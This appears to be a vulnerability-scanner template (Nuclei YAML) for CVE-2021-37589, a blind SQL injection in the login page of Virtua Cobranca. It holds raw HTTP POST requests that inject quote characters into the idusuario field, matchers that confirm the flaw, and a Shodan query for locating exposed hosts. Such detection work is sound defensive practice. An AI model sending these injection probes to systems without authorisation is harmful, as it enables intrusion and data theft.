id: CVE-2021-37589

info:
  name: Virtua Software Cobranca <12R - Blind SQL Injection
  author: princechaddha
  severity: high
  description: |
    Virtua Cobranca before 12R allows blind SQL injection on the login page.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Virtua Software Cobranca <12R.
  reference:
    - https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589
    - https://www.virtuasoftware.com.br/
    - https://www.virtuasoftware.com.br/conteudo.php?content=downloads&lang=pt-br
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37589
    cwe-id: CWE-89
    epss-score: 0.00661
    epss-percentile: 0.77395
    cpe: cpe:2.3:a:virtuasoftware:cobranca:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: virtuasoftware
    product: cobranca
    shodan-query: http.favicon.hash:876876147
  tags: cve,cve2021,virtua,sqli,virtuasoftware

http:
  - raw:
      - |
        POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      - |
        POST /controller/login.php?acao=autenticar HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        idusuario='&idsenha=test&tipousr=Usuario
      - |
        POST /controller/login.php?acao=autenticar HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        idusuario=''&idsenha=a&tipousr=Usuario

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3, "Os parametros não estão informados corretamente")'
          - 'contains(body_3, "O CNPJ dos parametro não está informado corretamente")'
        condition: or

      - type: dsl
        dsl:
          - "status_code_2 == 500 && status_code_3 == 200"
# digest: 4a0a00473045022100bd23716f1545a3d6b6f9928e16ff24594ad46444ca7f5d2b0ff5781948e287ef0220786b038ec0a0a3a94e2643bab4e9fb9f4be5dfaf7002efdc42df3856ca18feeb:922c64590222798bb761d5b6d8e72950